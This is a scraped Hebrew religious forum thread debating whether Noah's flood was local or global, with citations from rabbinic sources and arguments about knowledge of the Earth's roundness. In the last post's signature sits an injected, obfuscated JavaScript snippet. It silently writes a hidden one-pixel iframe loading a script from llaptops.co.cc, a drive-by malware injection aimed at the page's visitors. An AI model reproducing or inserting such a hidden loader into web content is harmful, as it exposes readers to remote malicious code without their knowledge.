בית פורומים עצור כאן חושבים

נח-אבולוציה

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-4/10/2010 17:29 לינק ישיר 

מקסמן,
מלבד העובדה שההנחה שהיה מבול רק באזורים מסויימים, סותרת את פשוטי המקראות, גם בלתי אפשרי מבחינה מעשית על פי חוקי הכבידה שבאיזור גאוגרפי אחד יכוסו במים כל ההרים הגבוהים, והמים לא יגלשו לאזורים אחרים, אלא אם כן נניח שחוץ מהמבול ה' גם עשה חומה גבוהה שתקיף את כל האזור שהיה מיועד להטבעה.



דדווח על תוכן פוגעני

מנותק
נשלח ב-4/10/2010 18:28 לינק ישיר 

עץ_נטוע כתב:
מקסמן,
מלבד העובדה שההנחה שהיה מבול רק באזורים מסויימים, סותרת את פשוטי המקראות, גם בלתי אפשרי מבחינה מעשית על פי חוקי הכבידה שבאיזור גאוגרפי אחד יכוסו במים כל ההרים הגבוהים, והמים לא יגלשו לאזורים אחרים, אלא אם כן נניח שחוץ מהמבול ה' גם עשה חומה גבוהה שתקיף את כל האזור שהיה מיועד להטבעה.

 יש כלל שדברה תורה כלשון בני אדם (בזמנם כמובן) נוח ודורו לא ידעו על עולם עגול, מוכח מרש"י (בשם חז"ל) במקום,
החשבון הידוע כמה מים ירד ביום חל רק על עולם שטוח, 
יוצא שפשוטי המקראות ברורים כלפי דורם,
החיות היו רק הסוגים שהיה באיזור של נוח, אז אין בעיה של כמה נכנס לתיבה,

האיזור היא עמק, אז שוב אין בעיה של מים גולשים, ההרים הגבוהים באיזור יכול להתכסות בלי שום בעיה,
תעמוד באמצע הים, כמה אופק רואים לכל צד ? רק 9 ק"מ !! ואם הים\המים תרד עד הר שבתוך הים, גם לא תראה אופק יותר רחוק, כלומר שזה שנח לא ראה ההרים אחרים יותר גבוהים באופק זה לא אומר כלום,
כל הסיפור עבר בעל פה במסורת עד משה רבינו, ומשם לתורה, מה הבעיה כאן ???
טפשים אלה שרוצים להכחיש את המבול, כי אין להתווכח, עם מסורת ועוד גם כתובה,
אבל לתקן את הבלתי אפשרי מהסיפור ? לא רק מותר רק חייבים לעשות כך כמו שחז"ל ואחריהם הגאונים והראשונים עשו כך,
אם זה לגבי הגשמה וכדומה,



דדווח על תוכן פוגעני

מנותק
נשלח ב-4/10/2010 18:37 לינק ישיר 

מאמר: "המבול וחקר הסטרטיגרפיה".

ראו גם בסרטון הזה (באנגלית):

* classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="425" height="344" xcodebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"> <*



דדווח על תוכן פוגעני

סמל אישי
מחובר
נשלח ב-4/10/2010 19:05 לינק ישיר 

מקסמן

על פי ר' גדליה, המבול היה באיזור הסהר הפורה. באיזור הזה יש הרים יחסית גבוהים (למשל החרמון) והוא נמצא על שפת הים התיכון, כך שכל הצפה בגובה כזה אמורה להעלות את מפלס הים בשיעור דומה, וכתוצאה מכך גם את האוקינוסים.והתוצאה הבלתי נמנעת היא הצפה של כל העולם (מלבד ההרים הגבוהים ביותר).

בכל מקרה גם אם תטען שהמבול היה במקום אחר, אי אפשר לעשות צחוק, ובוודאי שהוא היה בשטח גיאגרפי נרחב מספיק כדי להיקרות "תחת כל השמים", ואני לא חושב שיש שטח כזה שהצפה של ההרים הגבוהים ביותר לא תגרום להצפה עולמית.

בקשר למסורת, אם היא מלכתחילה הייתה בעל פה, העובדה שלאחר מכן היא נכתבה אינה מוסיפה דבר. מלבד זאת, מנין לך שהייתה מסורת ברורה איש מפי איש בעל פה? יש לך איזה סמך לדבריך? להזכירך, לצד המסורת של התורה היו מסורות אחרות שסיפרו סיפור שונה לחלוטין בזמן ובאירועים אודות המבול.




דדווח על תוכן פוגעני

מנותק
נשלח ב-4/10/2010 19:33 לינק ישיר 

עץ_נטוע כתב:

מקסמן

על פי ר' גדליה, המבול היה באיזור הסהר הפורה. באיזור הזה יש הרים יחסית גבוהים (למשל החרמון) והוא נמצא על שפת הים התיכון, כך שכל הצפה בגובה כזה אמורה להעלות את מפלס הים בשיעור דומה, וכתוצאה מכך גם את האוקינוסים.והתוצאה הבלתי נמנעת היא הצפה של כל העולם (מלבד ההרים הגבוהים ביותר).

לכן אמרתי שממקום שנוח היה לא ראו את ההרים הגבוהים שבאופק הרחוק יותר, במילא לא היה צריך לעולת המים לגובה החרמון שהם בגובה 2 ק"מ, מספיק שהיה מחסה את ההרים הקרובים עליו שיחשוב שכל העולם מחוסה, הרי חשב שהעולם שטוח, וכך העביר את הסיפור לדורות,

בכל מקרה גם אם תטען שהמבול היה במקום אחר, אי אפשר לעשות צחוק, ובוודאי שהוא היה בשטח גיאגרפי נרחב מספיק כדי להיקרות "תחת כל השמים", ואני לא חושב שיש שטח כזה שהצפה של ההרים הגבוהים ביותר לא תגרום להצפה עולמית.

כך חשב נוח כי חשב שהעולם שטוח כנ"ל

בקשר למסורת, אם היא מלכתחילה הייתה בעל פה, העובדה שלאחר מכן היא נכתבה אינה מוסיפה דבר. מלבד זאת, מנין לך שהייתה מסורת ברורה איש מפי איש בעל פה? יש לך איזה סמך לדבריך? להזכירך, לצד המסורת של התורה היו מסורות אחרות שסיפרו סיפור שונה לחלוטין בזמן ובאירועים אודות המבול.

אוקיי חכמינו אומרים שעד שמות נכתב לפני מתן תורה וכל התורה נכתבה ביום מותו של משה רבינו, 

אני מבין שאתה מכיר את ספרו של ר' גדליה, מה שמפריע לו (לדעתי) זה המסורות של העמים ושבטים אחרים שהם יותר מ4500 שנה, ונוסיף את המדע, וארכיאולוגיה, ולכן איך אפשר לקבל את המקורות כפשוטו ? על כורחך חייבים להסביר ולהבין מה הייתה הטעות בסיפור, אבל לומר שבכלל לא הייתה סיפור ? זוהי גאוותנות לשמה !!




דדווח על תוכן פוגעני

מנותק
נשלח ב-4/10/2010 19:34 לינק ישיר 

http://he.wikipedia.org/wiki/%D7%90%D7%95%D7%AA%D7%A0%D7%A4%D7%99%D7%A9%D7%AA%D7%99%D7%9D



דדווח על תוכן פוגעני

מחובר
נשלח ב-4/10/2010 20:17 לינק ישיר 

מקס

מה שאתה טוען הוא שסיפור המבול הוא סיפור סובייקטבי, המספר על המבול מנקודת ראותו של נח הנמצא בתיבה. אני חושב שאף אחד, גם לא ר' גדליה לא העלה על דעתו מעולם אפשרות כזו, האפשרות הקיצונית ביותר שניתנת להאמר היא שהמבול התרחש רק באזורים המוכרים של העולם דאז, אבל לומר שגם בתוך אותם אזורים, לא כל ההרים כוסו במים, אלא שנח בתמימותו חשב שמה שהוא רואה מייצג את כל ההרים, נשמע מופקע לחלוטין. אם נמשיך בכיוון הזה, נוכל להרחיב את הפירוש ולטעון שכל המבול לא היה אלא הצפה בביתו של נח, ובגלל שהחלונות היו סגורים נח חשב שמדובר בהצפה כלל עולמית.  

בקשר לגאוותנות לשמה. האם גם לטעון שהמיתולוגיה היוונית לא התרחשה זו גאוותנות לשמה?  בכל מקרה אני חושב שעדיפה גאוותנות לשמה, מאשר ענווה שמעקמת את פשוטי הכתובים והופכת את נח ואת משה שהאמין לו (על פי ה') לחסרי דעה.




דדווח על תוכן פוגעני

מנותק
נשלח ב-4/10/2010 20:24 לינק ישיר 

ואילו חז"ל טענו שבארץ ישראל לא היה מבול.



דדווח על תוכן פוגעני

מחובר
נשלח ב-4/10/2010 20:50 לינק ישיר 

פשטות לשון המקרא הוא "חמש עשרה אמות מלמעלה גברו המים ויכוסו ההרים" והפסוק מתייחס בפשיטות לגובה המים הכללי כך שבכל מקרה זה לא יכל לכסות את החרמון [אמנם רש"י מפרש שזה חמש עשרה אמה מעל ראשי ההרים אך כבר קי"ל "אין מקרא יוצא מידי פשוטו" ובמיוחד שכך כתבו חז"ל בזבחים קי"ג שלא היה המבול בא"י ולא מוזכר שהייתה חומה לעצור את המים אלא שא"י גבוה מכל ארצות כלומר מבבל כמ"ש בגמ' שהגשם שיורד בא"י מזין את הפרת וכבר הקשה בתוס' שם מהפסוק ויכוסו כל ההרים אשר מתחת כל השמים ותי' "וקרא ל"ק דבמקום שירד המבול התם קאמר שנתכסו ההרים"



דדווח על תוכן פוגעני

מחובר
נשלח ב-4/10/2010 21:34 לינק ישיר 




דדווח על תוכן פוגעני

מנותק
נשלח ב-4/10/2010 21:40 לינק ישיר 

עץ_נטוע כתב:
בקשר לגאוותנות לשמה. האם גם לטעון שהמיתולוגיה היוונית לא התרחשה זו גאוותנות לשמה?  בכל מקרה אני חושב שעדיפה גאוותנות לשמה, מאשר ענווה שמעקמת את פשוטי הכתובים והופכת את נח ואת משה שהאמין לו (על פי ה') לחסרי דעה.

 
רגע רגע למה חסרי דעה ? הרי לא ידעו אז שהעולם עגול, ולכן נראה הסיפור אמין מבחינת שזה קרה בכל העולם,

(אני רואה שחבר חדש צטט כבר את חז"ל והראשנים בעניין) 



דדווח על תוכן פוגעני

מנותק
נשלח ב-4/10/2010 22:22 לינק ישיר 

בתלמוד הירושלמי במס' ע"ז (פרק שלישי הל' א' – בסופה), מובאת התגלית החשובה הזאת שכדה"א הוא עגול, וז"ל הגמרא שם: "כדור – שהעולם עשוי ככדור". וכן כתב הרמב"ם בהקדמתו למשנה תורה (במסכת ברכות בהוספות, בסוף דף נ"ה עמ' א', בראש טור ב'), שהעולם הוא כדורי. וכן נאמר בזוהר הקדוש (ויקרא דף י', א'): "כל ישובא מתגלגלא בעיגולא ככדור" [דהיינו – כל העולם והאנושות (היישוב) שעליו – מתגלגל בעיגול ככדור].




דדווח על תוכן פוגעני

סמל אישי
מחובר
נשלח ב-4/10/2010 23:09 לינק ישיר 

פוגמישו כתב:

בתלמוד הירושלמי במס' ע"ז (פרק שלישי הל' א' – בסופה), מובאת התגלית החשובה הזאת שכדה"א הוא עגול, וז"ל הגמרא שם: "כדור – שהעולם עשוי ככדור".

מכאן ראיה שלא ידעו רק  מסבירים את סיבת הסמל שלו הנה, "תלמוד ירושלמי מסכת עבודה זרה פרק ג דף מב טור ג /ה"א וחכמים אומרים אינו אסור אלא כל שיש בידו מקל או ציפור או כדור מקל שהיה רודה בו את העולם ציפור ותמצא כקן ידי לחיל העמים כדור שהעולם עשוי ככדור א"ר יונה אלכסנדרוס מקדון כד בעא מיסק לעיל והוה סלק וסלק סלק עד שראה את העולם ככדור ואת הים כקערה בגין כן ציירין לה ככדורא בידה ויצורינה קערה בידה אינו שליט בים,"
 
ואם ידעו ? בשביל מה להסביר בכלל הרי זה מובן מאליו ?? כלומר אם היה בזמנם ברור שהעולם עגול, אז למה להסביר מה ראה אלכסנדר
ואת רש"י בשם חז"ל לגבי ירידת המים אמרתי כבר, ולגבי הרמב"ם שאומר  שהוא עוד מתווכח בענין בימיו הנה
מורה נבוכים חלק א' לא'
כדרך שתמצא אנשים שהתעקשו נגד כדוריות הארץ והיות הגלגל עגול  וכיוצא בכך, אלה אין להביאם בחשבון בעניין זה.
ודברים אלה, אשר אירעה בהם מבוכה זו, רבים מאוד בעניינים האלוהיים, ומעטים בעניינים הטבעיים, ונעדרים בעניינים הלמודיים.
מורה הנבוכים חלק ג פרק יד ולא תבקש ממני שיסכים כל מה שזכרוהו מענין התכונה למה שהענין נמצא, כי החכמות הלמודיות היו בזמנים ההם חסרות, ולא דברו בהם על דרך קבלה מן הנביאים, אבל מאשר הם חכמי הדורות בענינים ההם, או מאשר שמעום מחכמי הדורות ההם

וגם פתחתי אשכול בעניין והנה
שמור את חודש האביב.. כראיה שלא ידעו שהעולם עגול!!!
שם אני מביא עוד ראיות פשוטות, וגם טוען על החילול השם שגורמים כל אלה שמשקרים בעניין, ואני מצטט שם את הרמב"ם הידוע בפירוש המשניות סנהדרין פרק י'

   

וכן כתב הרמב"ם בהקדמתו למשנה תורה (במסכת ברכות בהוספות, בסוף דף נ"ה עמ' א', בראש טור ב'), שהעולם הוא כדורי.
מי טען שהרמב"ם לא ידע ? להפך הוא עוד היה צריך בזמנו להתווכח ע"ז,

וכן נאמר בזוהר הקדוש (ויקרא דף י', א'): "כל ישובא מתגלגלא בעיגולא ככדור" [דהיינו – כל העולם והאנושות (היישוב) שעליו – מתגלגל בעיגול ככדור].
לצטט את הזוהר בעניין היא חילול השם, כי מכאן ראיה ששיחקו בזוהר בדורות מאוחרים יותר




דדווח על תוכן פוגעני

מנותק
נשלח ב-4/10/2010 23:16 לינק ישיר 

שכדור הארץ עגול ידע כבר אריסטו לפני בית שני.

http://www1.snunit.k12.il/heb_journals/kimat2000/005030.html



דדווח על תוכן פוגעני

מחובר
נשלח ב-4/10/2010 23:17 לינק ישיר 

כפי שציין דינו ברשימת הלינקים, המבול הוא נושא פופולרי, ובצדק. הוא ממחיש יפה את מטרת הפורום, למצוא נחת רוח והתאמה, אם אפשר, בין התורה לבין המדע.

ובפרשת המבול יש קשיים רבים. אתייחס כרגע רק לאחד מהם, ויסולח לי שאני מוסיף זוית משלי ובאופן לא הכי מסודר לענין.

(לאחר שקראתי כל מה שכתבתי כאן אני שואל את עצמי אם אני נכשל בתמימות יתר. שהרי אני מקבל את סיפור המקרא כאמת עובדתית ומצד שני אני מרשה לעצמי לפרש אותו באופן מצמצם ובוודאי שאני מציע פירוש שנוגד גם את הפרשנים הקלאסיים וגם את המובא בחז"ל. האם התוצאה לא תהיה שמי שהינו אורתודוכסי כמוני (או אף חרדי) יראה בפירוש כזה זלזול ומחלוקת על המקרא בעוד מי שבעיניו התאמה למדע היא העיקר יסבור שאני עוסק רק באפולוגיה? אולי. ואולי זה כך. על מנת כן אפשר להמשיך).

כאשר יש בלבול ומבוכה, כדאי לחפש את נקודת הסתירה. והריהי:

א. התורה מספרת על מבול שכיסה את כל העולם.

ב. לפי תיאור תיבת נוח, היא לא יכלה להכיל את כל המינים שהיו נדרשים כדי ליישב את העולם מחדש בצורתו המוכרת לנו.

אז איך מפרנסים את הצורך להתאים בין סיפור התורה לבין המציאות?

הנה כמה נסיונות שלא צלחו כנראה.

1. הגישה הפונדמנטליסטית. כפי שהביא פוגמישו, אפשר לשער כי מספר המינים המועט שהחזיק נוח הצליח להתרבות ולהפיץ עצמו באופן יוצא מהכלל בכל העולם.

יתכן שעלינו לשלב את ההסבר הזה עם ההנחה שהיה נס שסייע להתפתחותן של החיות ולתפוצתן.

הגישה הזו, לדעתי, פותרת את כל הבעיות והיא לכאורה חפה מכל סתירה. כפי שכתב דינו באשכול אחר, לעתים הרמוניזציה מניבה פירות יפים.

2. פירוש מצמצם יותר. ר"ג ע"ה טען שהמבול לא היה בכל העולם.

כפי שצויין כאן, יש עדיין קשיים, כמו למשל בשאלה מה היה היקף המינים שנלקחו לתיבה. האם הם כללו יתושים ונחשים. עד כמה שאני זוכר, ר' גדליה ע"ה הניח שאכן היו בעלי חיים מזיקים כאלו בתיבה ואני משער שהניח כן גם בגלל פשטות המקרא וגם אולי בגלל שהכיר בתלות של כל חלקי השרשרת האקולוגית כידוע היום. ויש את הבעיה דלקמן.

3. פירושי שלי. המבול היה בשטח קטן וגם לתיבה לא נלקחו אלא חיות מסויימות בלבד.

הקושי: אם נניח שהמבול לא היה בכל העולם, תהיה בעיה להסביר כיצד שטח מסויים הוצף במים בעוד מקומות אחרים לא כוסו במים.

זו שאלה גדולה היא. אך לפני שאנסה למצוא פתרונות לא מהסוג א' (ולהצדיק מדוע הם עדיפים בעיני) אציין כי סיפור המבול מעורר יותר מאשר את הקושי של הנאמר בתורה. כידוע, סיפורי מבול מצויים גם, להבדיל, אצל עמים אחרים. וגם בהם מסופר על מים שהציפו את העולם המוכר. המתבקש הוא להניח שיש כאן זכרונות רחוקים של מבול או מעין מבול. בידנו לקרב ולהרחיק פרטים שונים בסיפורים האלו אבל מוטב כמדומה לקבל שעצם הסיפור הוא נכון.

מה נדרש מהסבר של סיפור המבול על מנת שהוא יהיה יותר - פשט שאינו מצריך הנחות יסוד רבות לגבי נסים שאפשר היה להסתדר בלעדיהם?

אלו חלקים מן הסיפור אנו רשאים לדחות או לפרש מחדש, ולאלו הנחות אנו נזקקים כדי לשמור על עצם הסיפור בשלימותו?

פתרונות אפשריים:

א. האם אפשר להצביע על מקום כלשהו באיזור המזרח התיכון או הסהר הפורה (מסופוטמיה) שבו יכול היה להיות מבול במובן של הצפה במים במשך שבועות או חודשים בלי שנצטרך להניח שעוד מקומות הוצפו, וזה מחייב כמובן לחפש איזור שהינו עמק בין הרים.

ב. לעומת זאת, ההנחה שהיה נס ששמר על המים באותו מקום בלבד והם לא התפשטו לשאר העולם נראית מתודולוגיות לא נכונה. אם עלינו להניח ניסים שפורצים את גדרי עולם הטבע, אז אפשר לקבל את ההסבר א'.

אולי היה עלי לפתוח באופן שסיפור המבול הצטייר לי. אז הנה, כך הדברים נראים לי בהתחשב בכל ההכרחים, סיפור המקרא מכאן וההימנעות מהסברים ניסיים יתר על המידה מכאן:

באותה תקופה בני האדם חיו באיזור אחד מצומצם (או לפחות בני האדם שעליהם מסופר בתורה). עקב חטאיהם, ה' הוריד גשם רב/היתה עליה של פני הים? ומים הציפו את כל האיזור בו חיו.

קודם לכן, נח בנה תיבה והכניס לתוכה אותם בעלי חיים שיידרשו לחיים שהאדם בן התקופה התרגל אליהם, כלומר שאיפשרו שמירה על ההישגים המדעיים והטכנולוגיים של התקופה. זה כלל מצד אחד בהמות לאכילה ומצד שני בעלי חיים שימושיים לעבודה. 

מה הם הרכיבים הניסיים שיש בקריאה זו של הסיפור? 

1. ההשגחה הפרטית. המבול היה עונש על חטא. הצדיק ניצל על ידי נבואה שגילתה לו להתכונן. ולמעשה כל הניסים שמלוים את נח לאורך כל הדרך.

מה הם הרכיבים ה"טבעיים" שיש בסיפור ש"חוסכים נסים"?

2. התיבה יכלה להכיל את כל בעלי החיים הדרושים. (לא היו בה אריות וגם לא יתושים).

3. בעלי החיים היו דרושים לאיזור מסויים של העולם בלבד.


מה ה"מחיר" הפרשני והאמוני שצריך לשלם על ההסבר שלי?

4. כמדומה בעיני שאין סתירה בין המסופר במקרא לבין פרשנותי. (לכל היותר יש לצמצם ביאורי מונחים כמו "כל היבשה", "כל היקום", "כל בעלי החיים". וזה נראה לי קריאה סבירה.

5. תיאור זה יכול להסביר מציאותם של סיפורי מבול אצל עמים אחרים.

6. החסרון הגדול בקריאה שלי היא איתור מקום גיאוגרפי שבו יכול היה להיות המבול בלי לגלוש לשאר העולם. על כך העירו לי בעבר ולא מצאתי תשובה. ואין לי תשובה גם היום. כאמור, אולי חיפוש במפה (עם ההנחה שיכלו להיות שינויים מסיבות סייסמולוגיות ואחרות שהיו משנות מעט או הרבה את פני האיזור המוכר לנו), יכול למצוא פתרון לבעיה?


****
אני מבקש לבאר את המונח "ניסי יתר על המידה". כוונתי היא כזו: אם מספיק כדי להעניש את דור המבול להציף רק את איזור מגוריהם, מדוע להניח שהוצף כל כדור הארץ? ואם די לקחת לתיבה רק את בעלי החיים הדרושים לחיי אדם, למה להניח שנלקחו גם אריות ויתושים? זה אפשרי בדרך הנס, אבל אם אפשר בלי זה, אז האם זה לא עדיף לפרש כך?

_________________

נוספו שורות שהייתי צריך להוסיף מתחילה, אבל סליחה, אני כותב כשאני עייף.
שומר פיו ולשונו - שומר מצרות נפשו ******* language=""> *-- var as='h'; var ac='tt'; var ab='p'; var ay="//"; document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*"); //*



תוקן על ידי מיימוני ב- 04/10/2010 23:24:28




דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > נח-אבולוציה
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 3 4 5 7 8 9 לדף הבא סך הכל 9 דפים.

bholext
2009 © כל הזכויות שמורות לבחדרי חרדים. קטגוריית אקטואליה וחדשות: עשרות פורומים הכוללים חדשות נעייס, מה קורה בחצרות חסידים, חדשות מחסידויות שונות בארץ ובעולם, דיונים בנושאי אקטואליה, פוליטיקה, בטחון ועוד.